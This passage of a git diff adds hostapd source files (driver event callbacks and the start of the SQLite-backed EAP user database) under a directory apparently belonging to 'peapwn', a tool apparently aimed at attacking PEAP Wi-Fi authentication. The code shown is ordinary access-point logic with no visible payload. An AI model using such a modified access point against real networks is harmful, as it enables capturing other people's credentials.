WLAN_STATUS_INVALID_PMKID) + reason = WLAN_REASON_INVALID_IE; + if (status == WLAN_STATUS_INVALID_MDIE) + reason = WLAN_REASON_INVALID_IE; + if (status == WLAN_STATUS_INVALID_FTIE) + reason = WLAN_REASON_INVALID_IE; + goto fail; + } + } +#endif /* CONFIG_IEEE80211R */ + } else if (hapd->conf->wps_state) { +#ifdef CONFIG_WPS + struct wpabuf *wps; + if (req_ies) + wps = ieee802_11_vendor_ie_concat(req_ies, req_ies_len, + WPS_IE_VENDOR_TYPE); + else + wps = NULL; +#ifdef CONFIG_WPS_STRICT + if (wps && wps_validate_assoc_req(wps) < 0) { + reason = WLAN_REASON_INVALID_IE; + status = WLAN_STATUS_INVALID_IE; + wpabuf_free(wps); + goto fail; + } +#endif /* CONFIG_WPS_STRICT */ + if (wps) { + sta->flags |= WLAN_STA_WPS; + if (wps_is_20(wps)) { + wpa_printf(MSG_DEBUG, "WPS: STA supports " + "WPS 2.0"); + sta->flags |= WLAN_STA_WPS2; + } + } else + sta->flags |= WLAN_STA_MAYBE_WPS; + wpabuf_free(wps); +#endif /* CONFIG_WPS */ + } +#ifdef CONFIG_WPS +skip_wpa_check: +#endif /* CONFIG_WPS */ + +#ifdef CONFIG_IEEE80211R + p = wpa_sm_write_assoc_resp_ies(sta->wpa_sm, buf, sizeof(buf), + sta->auth_alg, req_ies, req_ies_len); + + hostapd_sta_assoc(hapd, addr, reassoc, status, buf, p - buf); +#else /* CONFIG_IEEE80211R */ + /* Keep compiler silent about unused variables */ + if (status) { + } +#endif /* CONFIG_IEEE80211R */ + + new_assoc = (sta->flags & WLAN_STA_ASSOC) == 0; + sta->flags |= WLAN_STA_AUTH | WLAN_STA_ASSOC; + + if (reassoc && (sta->auth_alg == WLAN_AUTH_FT)) + wpa_auth_sm_event(sta->wpa_sm, WPA_ASSOC_FT); + else + wpa_auth_sm_event(sta->wpa_sm, WPA_ASSOC); + + hostapd_new_assoc_sta(hapd, sta, !new_assoc); + + ieee802_1x_notify_port_enabled(sta->eapol_sm, 1); + +#ifdef CONFIG_P2P + if (req_ies) { + p2p_group_notif_assoc(hapd->p2p_group, sta->addr, + req_ies, req_ies_len); + } +#endif /* CONFIG_P2P */ + + return 0; + +fail: +#ifdef CONFIG_IEEE80211R + hostapd_sta_assoc(hapd, addr, reassoc, status, buf, p - buf); +#endif /* CONFIG_IEEE80211R */ + hostapd_drv_sta_disassoc(hapd, sta->addr, reason); + ap_free_sta(hapd, sta); + return -1; +} + + +void hostapd_notif_disassoc(struct hostapd_data *hapd, const u8 *addr) +{ + struct sta_info *sta; + + if (addr == NULL) { + /* + * This could potentially happen with unexpected event from the + * driver wrapper. This was seen at least in one case where the + * driver ended up reporting a station mode event while hostapd + * was running, so better make sure we stop processing such an + * event here. + */ + wpa_printf(MSG_DEBUG, "hostapd_notif_disassoc: Skip event " + "with no address"); + return; + } + + hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "disassociated"); + + sta = ap_get_sta(hapd, addr); + if (sta == NULL) { + wpa_printf(MSG_DEBUG, "Disassociation notification for " + "unknown STA " MACSTR, MAC2STR(addr)); + return; + } + + ap_sta_set_authorized(hapd, sta, 0); + sta->flags &= ~(WLAN_STA_AUTH | WLAN_STA_ASSOC); + wpa_auth_sm_event(sta->wpa_sm, WPA_DISASSOC); + sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_USER_REQUEST; + ieee802_1x_notify_port_enabled(sta->eapol_sm, 0); + ap_free_sta(hapd, sta); +} + + +void hostapd_event_sta_low_ack(struct hostapd_data *hapd, const u8 *addr) +{ + struct sta_info *sta = ap_get_sta(hapd, addr); + + if (!sta || !hapd->conf->disassoc_low_ack) + return; + + hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "disconnected due to excessive " + "missing ACKs"); + hostapd_drv_sta_disassoc(hapd, addr, WLAN_REASON_DISASSOC_LOW_ACK); + if (sta) + ap_sta_disassociate(hapd, sta, WLAN_REASON_DISASSOC_LOW_ACK); +} + + +void hostapd_event_ch_switch(struct hostapd_data *hapd, int freq, int ht, + int offset) +{ +#ifdef NEED_AP_MLME + int channel; + + hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "driver had channel switch: " + "freq=%d, ht=%d, offset=%d", freq, ht, offset); + + hapd->iface->freq = freq; + + channel = hostapd_hw_get_channel(hapd, freq); + if (!channel) { + hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_WARNING, "driver switched to " + "bad channel!"); + return; + } + + hapd->iconf->channel = channel; + hapd->iconf->ieee80211n = ht; + hapd->iconf->secondary_channel = offset; + + if (hapd->iface->csa_in_progress && freq == hapd->iface->cs_freq) { + hostapd_cleanup_cs_params(hapd); + + wpa_msg(hapd->msg_ctx, MSG_INFO, AP_CSA_FINISHED "freq=%d", + freq); + } +#endif /* NEED_AP_MLME */ +} + + +void hostapd_event_connect_failed_reason(struct hostapd_data *hapd, + const u8 *addr, int reason_code) +{ + switch (reason_code) { + case MAX_CLIENT_REACHED: + wpa_msg(hapd->msg_ctx, MSG_INFO, AP_REJECTED_MAX_STA MACSTR, + MAC2STR(addr)); + break; + case BLOCKED_CLIENT: + wpa_msg(hapd->msg_ctx, MSG_INFO, AP_REJECTED_BLOCKED_STA MACSTR, + MAC2STR(addr)); + break; + } +} + + +int hostapd_probe_req_rx(struct hostapd_data *hapd, const u8 *sa, const u8 *da, + const u8 *bssid, const u8 *ie, size_t ie_len, + int ssi_signal) +{ + size_t i; + int ret = 0; + + if (sa == NULL || ie == NULL) + return -1; + + random_add_randomness(sa, ETH_ALEN); + for (i = 0; hapd->probereq_cb && i < hapd->num_probereq_cb; i++) { + if (hapd->probereq_cb[i].cb(hapd->probereq_cb[i].ctx, + sa, da, bssid, ie, ie_len, + ssi_signal) > 0) { + ret = 1; + break; + } + } + return ret; +} + + +#ifdef HOSTAPD + +#ifdef CONFIG_IEEE80211R +static void hostapd_notify_auth_ft_finish(void *ctx, const u8 *dst, + const u8 *bssid, + u16 auth_transaction, u16 status, + const u8 *ies, size_t ies_len) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta; + + sta = ap_get_sta(hapd, dst); + if (sta == NULL) + return; + + hostapd_logger(hapd, dst, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_DEBUG, "authentication OK (FT)"); + sta->flags |= WLAN_STA_AUTH; + + hostapd_sta_auth(hapd, dst, auth_transaction, status, ies, ies_len); +} +#endif /* CONFIG_IEEE80211R */ + + +static void hostapd_notif_auth(struct hostapd_data *hapd, + struct auth_info *rx_auth) +{ + struct sta_info *sta; + u16 status = WLAN_STATUS_SUCCESS; + u8 resp_ies[2 + WLAN_AUTH_CHALLENGE_LEN]; + size_t resp_ies_len = 0; + + sta = ap_get_sta(hapd, rx_auth->peer); + if (!sta) { + sta = ap_sta_add(hapd, rx_auth->peer); + if (sta == NULL) { + status = WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA; + goto fail; + } + } + sta->flags &= ~WLAN_STA_PREAUTH; + ieee802_1x_notify_pre_auth(sta->eapol_sm, 0); +#ifdef CONFIG_IEEE80211R + if (rx_auth->auth_type == WLAN_AUTH_FT && hapd->wpa_auth) { + sta->auth_alg = WLAN_AUTH_FT; + if (sta->wpa_sm == NULL) + sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, + sta->addr, NULL); + if (sta->wpa_sm == NULL) { + wpa_printf(MSG_DEBUG, "FT: Failed to initialize WPA " + "state machine"); + status = WLAN_STATUS_UNSPECIFIED_FAILURE; + goto fail; + } + wpa_ft_process_auth(sta->wpa_sm, rx_auth->bssid, + rx_auth->auth_transaction, rx_auth->ies, + rx_auth->ies_len, + hostapd_notify_auth_ft_finish, hapd); + return; + } +#endif /* CONFIG_IEEE80211R */ +fail: + hostapd_sta_auth(hapd, rx_auth->peer, rx_auth->auth_transaction + 1, + status, resp_ies, resp_ies_len); +} + + +static void hostapd_action_rx(struct hostapd_data *hapd, + struct rx_action *action) +{ + struct sta_info *sta; + + wpa_printf(MSG_DEBUG, "RX_ACTION cat %d action plen %d", + action->category, (int) action->len); + + sta = ap_get_sta(hapd, action->sa); + if (sta == NULL) { + wpa_printf(MSG_DEBUG, "%s: station not found", __func__); + return; + } +#ifdef CONFIG_IEEE80211R + if (action->category == WLAN_ACTION_FT) { + wpa_printf(MSG_DEBUG, "%s: FT_ACTION length %d", + __func__, (int) action->len); + wpa_ft_action_rx(sta->wpa_sm, action->data, action->len); + } +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_IEEE80211W + if (action->category == WLAN_ACTION_SA_QUERY && action->len >= 4) { + wpa_printf(MSG_DEBUG, "%s: SA_QUERY_ACTION length %d", + __func__, (int) action->len); + ieee802_11_sa_query_action(hapd, action->sa, + *(action->data + 1), + action->data + 2); + } +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_WNM + if (action->category == WLAN_ACTION_WNM) { + wpa_printf(MSG_DEBUG, "%s: WNM_ACTION length %d", + __func__, (int) action->len); + ieee802_11_rx_wnm_action_ap(hapd, action); + } +#endif /* CONFIG_WNM */ +} + + +#ifdef NEED_AP_MLME + +#define HAPD_BROADCAST ((struct hostapd_data *) -1) + +static struct hostapd_data * get_hapd_bssid(struct hostapd_iface *iface, + const u8 *bssid) +{ + size_t i; + + if (bssid == NULL) + return NULL; + if (bssid[0] == 0xff && bssid[1] == 0xff && bssid[2] == 0xff && + bssid[3] == 0xff && bssid[4] == 0xff && bssid[5] == 0xff) + return HAPD_BROADCAST; + + for (i = 0; i < iface->num_bss; i++) { + if (os_memcmp(bssid, iface->bss[i]->own_addr, ETH_ALEN) == 0) + return iface->bss[i]; + } + + return NULL; +} + + +static void hostapd_rx_from_unknown_sta(struct hostapd_data *hapd, + const u8 *bssid, const u8 *addr, + int wds) +{ + hapd = get_hapd_bssid(hapd->iface, bssid); + if (hapd == NULL || hapd == HAPD_BROADCAST) + return; + + ieee802_11_rx_from_unknown(hapd, addr, wds); +} + + +static void hostapd_mgmt_rx(struct hostapd_data *hapd, struct rx_mgmt *rx_mgmt) +{ + struct hostapd_iface *iface = hapd->iface; + const struct ieee80211_hdr *hdr; + const u8 *bssid; + struct hostapd_frame_info fi; + + hdr = (const struct ieee80211_hdr *) rx_mgmt->frame; + bssid = get_hdr_bssid(hdr, rx_mgmt->frame_len); + if (bssid == NULL) + return; + + hapd = get_hapd_bssid(iface, bssid); + if (hapd == NULL) { + u16 fc; + fc = le_to_host16(hdr->frame_control); + + /* + * Drop frames to unknown BSSIDs except for Beacon frames which + * could be used to update neighbor information. + */ + if (WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && + WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_BEACON) + hapd = iface->bss[0]; + else + return; + } + + os_memset(&fi, 0, sizeof(fi)); + fi.datarate = rx_mgmt->datarate; + fi.ssi_signal = rx_mgmt->ssi_signal; + + if (hapd == HAPD_BROADCAST) { + size_t i; + for (i = 0; i < iface->num_bss; i++) + ieee802_11_mgmt(iface->bss[i], rx_mgmt->frame, + rx_mgmt->frame_len, &fi); + } else + ieee802_11_mgmt(hapd, rx_mgmt->frame, rx_mgmt->frame_len, &fi); + + random_add_randomness(&fi, sizeof(fi)); +} + + +static void hostapd_rx_action(struct hostapd_data *hapd, + struct rx_action *rx_action) +{ + struct rx_mgmt rx_mgmt; + u8 *buf; + struct ieee80211_hdr *hdr; + + wpa_printf(MSG_DEBUG, "EVENT_RX_ACTION DA=" MACSTR " SA=" MACSTR + " BSSID=" MACSTR " category=%u", + MAC2STR(rx_action->da), MAC2STR(rx_action->sa), + MAC2STR(rx_action->bssid), rx_action->category); + wpa_hexdump(MSG_MSGDUMP, "Received action frame contents", + rx_action->data, rx_action->len); + + buf = os_zalloc(24 + 1 + rx_action->len); + if (buf == NULL) + return; + hdr = (struct ieee80211_hdr *) buf; + hdr->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_ACTION); + if (rx_action->category == WLAN_ACTION_SA_QUERY) { + /* + * Assume frame was protected; it would have been dropped if + * not. + */ + hdr->frame_control |= host_to_le16(WLAN_FC_ISWEP); + } + os_memcpy(hdr->addr1, rx_action->da, ETH_ALEN); + os_memcpy(hdr->addr2, rx_action->sa, ETH_ALEN); + os_memcpy(hdr->addr3, rx_action->bssid, ETH_ALEN); + buf[24] = rx_action->category; + os_memcpy(buf + 24 + 1, rx_action->data, rx_action->len); + os_memset(&rx_mgmt, 0, sizeof(rx_mgmt)); + rx_mgmt.frame = buf; + rx_mgmt.frame_len = 24 + 1 + rx_action->len; + hostapd_mgmt_rx(hapd, &rx_mgmt); + os_free(buf); +} + + +static void hostapd_mgmt_tx_cb(struct hostapd_data *hapd, const u8 *buf, + size_t len, u16 stype, int ok) +{ + struct ieee80211_hdr *hdr; + hdr = (struct ieee80211_hdr *) buf; + hapd = get_hapd_bssid(hapd->iface, get_hdr_bssid(hdr, len)); + if (hapd == NULL || hapd == HAPD_BROADCAST) + return; + ieee802_11_mgmt_cb(hapd, buf, len, stype, ok); +} + +#endif /* NEED_AP_MLME */ + + +static int hostapd_event_new_sta(struct hostapd_data *hapd, const u8 *addr) +{ + struct sta_info *sta = ap_get_sta(hapd, addr); + if (sta) + return 0; + + wpa_printf(MSG_DEBUG, "Data frame from unknown STA " MACSTR + " - adding a new STA", MAC2STR(addr)); + sta = ap_sta_add(hapd, addr); + if (sta) { + hostapd_new_assoc_sta(hapd, sta, 0); + } else { + wpa_printf(MSG_DEBUG, "Failed to add STA entry for " MACSTR, + MAC2STR(addr)); + return -1; + } + + return 0; +} + + +static void hostapd_event_eapol_rx(struct hostapd_data *hapd, const u8 *src, + const u8 *data, size_t data_len) +{ + struct hostapd_iface *iface = hapd->iface; + struct sta_info *sta; + size_t j; + + for (j = 0; j < iface->num_bss; j++) { + if ((sta = ap_get_sta(iface->bss[j], src))) { + if (sta->flags & WLAN_STA_ASSOC) { + hapd = iface->bss[j]; + break; + } + } + } + + ieee802_1x_receive(hapd, src, data, data_len); +} + + +static struct hostapd_channel_data * hostapd_get_mode_channel( + struct hostapd_iface *iface, unsigned int freq) +{ + int i; + struct hostapd_channel_data *chan; + + for (i = 0; i < iface->current_mode->num_channels; i++) { + chan = &iface->current_mode->channels[i]; + if (!chan) + return NULL; + if ((unsigned int) chan->freq == freq) + return chan; + } + + return NULL; +} + + +static void hostapd_update_nf(struct hostapd_iface *iface, + struct hostapd_channel_data *chan, + struct freq_survey *survey) +{ + if (!iface->chans_surveyed) { + chan->min_nf = survey->nf; + iface->lowest_nf = survey->nf; + } else { + if (dl_list_empty(&chan->survey_list)) + chan->min_nf = survey->nf; + else if (survey->nf < chan->min_nf) + chan->min_nf = survey->nf; + if (survey->nf < iface->lowest_nf) + iface->lowest_nf = survey->nf; + } +} + + +static void hostapd_event_get_survey(struct hostapd_data *hapd, + struct survey_results *survey_results) +{ + struct hostapd_iface *iface = hapd->iface; + struct freq_survey *survey, *tmp; + struct hostapd_channel_data *chan; + + if (dl_list_empty(&survey_results->survey_list)) { + wpa_printf(MSG_DEBUG, "No survey data received"); + return; + } + + dl_list_for_each_safe(survey, tmp, &survey_results->survey_list, + struct freq_survey, list) { + chan = hostapd_get_mode_channel(iface, survey->freq); + if (!chan) + continue; + if (chan->flag & HOSTAPD_CHAN_DISABLED) + continue; + + dl_list_del(&survey->list); + dl_list_add_tail(&chan->survey_list, &survey->list); + + hostapd_update_nf(iface, chan, survey); + + iface->chans_surveyed++; + } +} + + +#ifdef NEED_AP_MLME + +static void hostapd_event_dfs_radar_detected(struct hostapd_data *hapd, + struct dfs_event *radar) +{ + wpa_printf(MSG_DEBUG, "DFS radar detected on %d MHz", radar->freq); + hostapd_dfs_radar_detected(hapd->iface, radar->freq, radar->ht_enabled, + radar->chan_offset, radar->chan_width, + radar->cf1, radar->cf2); +} + + +static void hostapd_event_dfs_cac_finished(struct hostapd_data *hapd, + struct dfs_event *radar) +{ + wpa_printf(MSG_DEBUG, "DFS CAC finished on %d MHz", radar->freq); + hostapd_dfs_complete_cac(hapd->iface, 1, radar->freq, radar->ht_enabled, + radar->chan_offset, radar->chan_width, + radar->cf1, radar->cf2); +} + + +static void hostapd_event_dfs_cac_aborted(struct hostapd_data *hapd, + struct dfs_event *radar) +{ + wpa_printf(MSG_DEBUG, "DFS CAC aborted on %d MHz", radar->freq); + hostapd_dfs_complete_cac(hapd->iface, 0, radar->freq, radar->ht_enabled, + radar->chan_offset, radar->chan_width, + radar->cf1, radar->cf2); +} + + +static void hostapd_event_dfs_nop_finished(struct hostapd_data *hapd, + struct dfs_event *radar) +{ + wpa_printf(MSG_DEBUG, "DFS NOP finished on %d MHz", radar->freq); + hostapd_dfs_nop_finished(hapd->iface, radar->freq, radar->ht_enabled, + radar->chan_offset, radar->chan_width, + radar->cf1, radar->cf2); +} + +#endif /* NEED_AP_MLME */ + + +void wpa_supplicant_event(void *ctx, enum wpa_event_type event, + union wpa_event_data *data) +{ + struct hostapd_data *hapd = ctx; +#ifndef CONFIG_NO_STDOUT_DEBUG + int level = MSG_DEBUG; + + if (event == EVENT_RX_MGMT && data->rx_mgmt.frame && + data->rx_mgmt.frame_len >= 24) { + const struct ieee80211_hdr *hdr; + u16 fc; + hdr = (const struct ieee80211_hdr *) data->rx_mgmt.frame; + fc = le_to_host16(hdr->frame_control); + if (WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && + WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_BEACON) + level = MSG_EXCESSIVE; + if (WLAN_FC_GET_TYPE(fc) == WLAN_FC_TYPE_MGMT && + WLAN_FC_GET_STYPE(fc) == WLAN_FC_STYPE_PROBE_REQ) + level = MSG_EXCESSIVE; + } + + wpa_dbg(hapd->msg_ctx, level, "Event %s (%d) received", + event_to_string(event), event); +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + switch (event) { + case EVENT_MICHAEL_MIC_FAILURE: + michael_mic_failure(hapd, data->michael_mic_failure.src, 1); + break; + case EVENT_SCAN_RESULTS: + if (hapd->iface->scan_cb) + hapd->iface->scan_cb(hapd->iface); + break; +#ifdef CONFIG_IEEE80211R + case EVENT_FT_RRB_RX: + wpa_ft_rrb_rx(hapd->wpa_auth, data->ft_rrb_rx.src, + data->ft_rrb_rx.data, data->ft_rrb_rx.data_len); + break; +#endif /* CONFIG_IEEE80211R */ + case EVENT_WPS_BUTTON_PUSHED: + hostapd_wps_button_pushed(hapd, NULL); + break; +#ifdef NEED_AP_MLME + case EVENT_TX_STATUS: + switch (data->tx_status.type) { + case WLAN_FC_TYPE_MGMT: + hostapd_mgmt_tx_cb(hapd, data->tx_status.data, + data->tx_status.data_len, + data->tx_status.stype, + data->tx_status.ack); + break; + case WLAN_FC_TYPE_DATA: + hostapd_tx_status(hapd, data->tx_status.dst, + data->tx_status.data, + data->tx_status.data_len, + data->tx_status.ack); + break; + } + break; + case EVENT_EAPOL_TX_STATUS: + hostapd_eapol_tx_status(hapd, data->eapol_tx_status.dst, + data->eapol_tx_status.data, + data->eapol_tx_status.data_len, + data->eapol_tx_status.ack); + break; + case EVENT_DRIVER_CLIENT_POLL_OK: + hostapd_client_poll_ok(hapd, data->client_poll.addr); + break; + case EVENT_RX_FROM_UNKNOWN: + hostapd_rx_from_unknown_sta(hapd, data->rx_from_unknown.bssid, + data->rx_from_unknown.addr, + data->rx_from_unknown.wds); + break; + case EVENT_RX_MGMT: + hostapd_mgmt_rx(hapd, &data->rx_mgmt); + break; +#endif /* NEED_AP_MLME */ + case EVENT_RX_PROBE_REQ: + if (data->rx_probe_req.sa == NULL || + data->rx_probe_req.ie == NULL) + break; + hostapd_probe_req_rx(hapd, data->rx_probe_req.sa, + data->rx_probe_req.da, + data->rx_probe_req.bssid, + data->rx_probe_req.ie, + data->rx_probe_req.ie_len, + data->rx_probe_req.ssi_signal); + break; + case EVENT_NEW_STA: + hostapd_event_new_sta(hapd, data->new_sta.addr); + break; + case EVENT_EAPOL_RX: + hostapd_event_eapol_rx(hapd, data->eapol_rx.src, + data->eapol_rx.data, + data->eapol_rx.data_len); + break; + case EVENT_ASSOC: + hostapd_notif_assoc(hapd, data->assoc_info.addr, + data->assoc_info.req_ies, + data->assoc_info.req_ies_len, + data->assoc_info.reassoc); + break; + case EVENT_DISASSOC: + if (data) + hostapd_notif_disassoc(hapd, data->disassoc_info.addr); + break; + case EVENT_DEAUTH: + if (data) + hostapd_notif_disassoc(hapd, data->deauth_info.addr); + break; + case EVENT_STATION_LOW_ACK: + if (!data) + break; + hostapd_event_sta_low_ack(hapd, data->low_ack.addr); + break; + case EVENT_RX_ACTION: + if (data->rx_action.da == NULL || data->rx_action.sa == NULL || + data->rx_action.bssid == NULL) + break; +#ifdef NEED_AP_MLME + hostapd_rx_action(hapd, &data->rx_action); +#endif /* NEED_AP_MLME */ + hostapd_action_rx(hapd, &data->rx_action); + break; + case EVENT_AUTH: + hostapd_notif_auth(hapd, &data->auth); + break; + case EVENT_CH_SWITCH: + if (!data) + break; + hostapd_event_ch_switch(hapd, data->ch_switch.freq, + data->ch_switch.ht_enabled, + data->ch_switch.ch_offset); + break; + case EVENT_CONNECT_FAILED_REASON: + if (!data) + break; + hostapd_event_connect_failed_reason( + hapd, data->connect_failed_reason.addr, + data->connect_failed_reason.code); + break; + case EVENT_SURVEY: + hostapd_event_get_survey(hapd, &data->survey_results); + break; +#ifdef NEED_AP_MLME + case EVENT_DFS_RADAR_DETECTED: + if (!data) + break; + hostapd_event_dfs_radar_detected(hapd, &data->dfs_event); + break; + case EVENT_DFS_CAC_FINISHED: + if (!data) + break; + hostapd_event_dfs_cac_finished(hapd, &data->dfs_event); + break; + case EVENT_DFS_CAC_ABORTED: + if (!data) + break; + hostapd_event_dfs_cac_aborted(hapd, &data->dfs_event); + break; + case EVENT_DFS_NOP_FINISHED: + if (!data) + break; + hostapd_event_dfs_nop_finished(hapd, &data->dfs_event); + break; + case EVENT_CHANNEL_LIST_CHANGED: + /* channel list changed (regulatory?), update channel list */ + /* TODO: check this. hostapd_get_hw_features() initializes + * too much stuff. */ + /* hostapd_get_hw_features(hapd->iface); */ + hostapd_channel_list_updated( + hapd->iface, data->channel_list_changed.initiator); + break; +#endif /* NEED_AP_MLME */ + default: + wpa_printf(MSG_DEBUG, "Unknown event %d", event); + break; + } +} + +#endif /* HOSTAPD */ diff --git a/peapwn/mods/hostap/src/ap/eap_user_db.c b/peapwn/mods/hostap/src/ap/eap_user_db.c new file mode 100644 index 000000000..79d50e516 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/eap_user_db.c @@ -0,0 +1,270 @@ +/* + * hostapd / EAP user database + * Copyright (c) 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#ifdef CONFIG_SQLITE +#include +#endif /* CONFIG_SQLITE */ + +#include "common.h" +#include "eap_common/eap_wsc_common.h" +#include "eap_server/eap_methods.h" +#include "eap_server/eap.h" +#include "ap_config.h" +#include "hostapd.h" + +#ifdef CONFIG_SQLITE + +static void set_user_methods(struct hostapd_eap_user *user, const char *methods) +{ + char *buf, *start; + int num_methods; + + buf = os_strdup(methods); + if (buf == NULL) + return; + + os_memset(&user->methods, 0, sizeof(user->methods)); + num_methods = 0; + start = buf; + while (*start) { + char *pos3 = os_strchr(start, ','); + if (pos3) + *pos3++ = '\0'; + user->methods[num_methods].method = + eap_server_get_type(start, + &user->methods[num_methods].vendor); + if (user->methods[num_methods].vendor == EAP_VENDOR_IETF && + user->methods[num_methods].method == EAP_TYPE_NONE) { + if (os_strcmp(start, "TTLS-PAP") == 0) { + user->ttls_auth |= EAP_TTLS_AUTH_PAP; + goto skip_eap; + } + if (os_strcmp(start, "TTLS-CHAP") == 0) { + user->ttls_auth |= EAP_TTLS_AUTH_CHAP; + goto skip_eap; + } + if (os_strcmp(start, "TTLS-MSCHAP") == 0) { + user->ttls_auth |= EAP_TTLS_AUTH_MSCHAP; + goto skip_eap; + } + if (os_strcmp(start, "TTLS-MSCHAPV2") == 0) { + user->ttls_auth |= EAP_TTLS_AUTH_MSCHAPV2; + goto skip_eap; + } + wpa_printf(MSG_INFO, "DB: Unsupported EAP type '%s'", + start); + os_free(buf); + return; + } + + num_methods++; + if (num_methods >= EAP_MAX_METHODS) + break; + skip_eap: + if (pos3 == NULL) + break; + start = pos3; + } + + os_free(buf); +} + + +static int get_user_cb(void *ctx, int argc, char *argv[], char *col[]) +{ + struct hostapd_eap_user *user = ctx; + int i; + + for (i = 0; i < argc; i++) { + if (os_strcmp(col[i], "password") == 0 && argv[i]) { + os_free(user->password); + user->password_len = os_strlen(argv[i]); + user->password = (u8 *) os_strdup(argv[i]); + user->next = (void *) 1; + } else if (os_strcmp(col[i], "methods") == 0 && argv[i]) { + set_user_methods(user, argv[i]); + } + } + + return 0; +} + + +static int get_wildcard_cb(void *ctx, int argc, char *argv[], char *col[]) +{ + struct hostapd_eap_user *user = ctx; + int i, id = -1, methods = -1; + size_t len; + + for (i = 0; i < argc; i++) { + if (os_strcmp(col[i], "identity") == 0 && argv[i]) + id = i; + else if (os_strcmp(col[i], "methods") == 0 && argv[i]) + methods = i; + } + + if (id < 0 || methods < 0) + return 0; + + len = os_strlen(argv[id]); + if (len <= user->identity_len && + os_memcmp(argv[id], user->identity, len) == 0 && + (user->password == NULL || len > user->password_len)) { + os_free(user->password); + user->password_len = os_strlen(argv[id]); + user->password = (u8 *) os_strdup(argv[id]); + user->next = (void *) 1; + set_user_methods(user, argv[methods]); + } + + return 0; +} + + +static const struct hostapd_eap_user * +eap_user_sqlite_get(struct hostapd_data *hapd, const u8 *identity, + size_t identity_len, int phase2) +{ + sqlite3 *db; + struct hostapd_eap_user *user = NULL; + char id_str[256], cmd[300]; + size_t i; + + if (identity_len >= sizeof(id_str)) + return NULL; + os_memcpy(id_str, identity, identity_len); + id_str[identity_len] = '\0'; + for (i = 0; i < identity_len; i++) { + if (id_str[i] >= 'a' && id_str[i] <= 'z') + continue; + if (id_str[i] >= 'A' && id_str[i] <= 'Z') + continue; + if (id_str[i] >= '0' && id_str[i] <= '9') + continue; + if (id_str[i] == '-' || id_str[i] == '_' || id_str[i] == '.' || + id_str[i] == ',' || id_str[i] == '@' || id_str[i] == '\\' || + id_str[i] == '!' || id_str[i] == '#' || id_str[i] == '%' || + id_str[i] == '=' || id_str[i] == ' ') + continue; + wpa_printf(MSG_INFO, "DB: Unsupported character in identity"); + return NULL; + } + + os_free(hapd->tmp_eap_user.identity); + os_free(hapd->tmp_eap_user.password); + os_memset(&hapd->tmp_eap_user, 0, sizeof(hapd->tmp_eap_user)); + hapd->tmp_eap_user.phase2 = phase2; + hapd->tmp_eap_user.identity = os_zalloc(identity_len + 1); + if (hapd->tmp_eap_user.identity == NULL) + return NULL; + os_memcpy(hapd->tmp_eap_user.identity, identity, identity_len); + + if (sqlite3_open(hapd->conf->eap_user_sqlite, &db)) { + wpa_printf(MSG_INFO, "DB: Failed to open database %s: %s", + hapd->conf->eap_user_sqlite, sqlite3_errmsg(db)); + sqlite3_close(db); + return NULL; + } + + os_snprintf(cmd, sizeof(cmd), + "SELECT password,methods FROM users WHERE " + "identity='%s' AND phase2=%d;", id_str, phase2); + wpa_printf(MSG_DEBUG, "DB: %s", cmd); + if (sqlite3_exec(db, cmd, get_user_cb, &hapd->tmp_eap_user, NULL) != + SQLITE_OK) { + wpa_printf(MSG_DEBUG, "DB: Failed to complete SQL operation"); + } else if (hapd->tmp_eap_user.next) + user = &hapd->tmp_eap_user; + + if (user == NULL && !phase2) { + os_snprintf(cmd, sizeof(cmd), + "SELECT identity,methods FROM wildcards;"); + wpa_printf(MSG_DEBUG, "DB: %s", cmd); + if (sqlite3_exec(db, cmd, get_wildcard_cb, &hapd->tmp_eap_user, + NULL) != SQLITE_OK) { + wpa_printf(MSG_DEBUG, "DB: Failed to complete SQL " + "operation"); + } else if (hapd->tmp_eap_user.next) { + user = &hapd->tmp_eap_user; + os_free(user->identity); + user->identity = user->password; + user->identity_len = user->password_len; + user->password = NULL; + user->password_len = 0; + } + } + + sqlite3_close(db); + + return user; +} + +#endif /* CONFIG_SQLITE */ + + +const struct hostapd_eap_user * +hostapd_get_eap_user(struct hostapd_data *hapd, const u8 *identity, + size_t identity_len, int phase2) +{ + const struct hostapd_bss_config *conf = hapd->conf; + struct hostapd_eap_user *user = conf->eap_user; + +#ifdef CONFIG_WPS + if (conf->wps_state && identity_len == WSC_ID_ENROLLEE_LEN && + os_memcmp(identity, WSC_ID_ENROLLEE, WSC_ID_ENROLLEE_LEN) == 0) { + static struct hostapd_eap_user wsc_enrollee; + os_memset(&wsc_enrollee, 0, sizeof(wsc_enrollee)); + wsc_enrollee.methods[0].method = eap_server_get_type( + "WSC", &wsc_enrollee.methods[0].vendor); + return &wsc_enrollee; + } + + if (conf->wps_state && identity_len == WSC_ID_REGISTRAR_LEN && + os_memcmp(identity, WSC_ID_REGISTRAR, WSC_ID_REGISTRAR_LEN) == 0) { + static struct hostapd_eap_user wsc_registrar; + os_memset(&wsc_registrar, 0, sizeof(wsc_registrar)); + wsc_registrar.methods[0].method = eap_server_get_type( + "WSC", &wsc_registrar.methods[0].vendor); + wsc_registrar.password = (u8 *) conf->ap_pin; + wsc_registrar.password_len = conf->ap_pin ? + os_strlen(conf->ap_pin) : 0; + return &wsc_registrar; + } +#endif /* CONFIG_WPS */ + + while (user) { + if (!phase2 && user->identity == NULL) { + /* 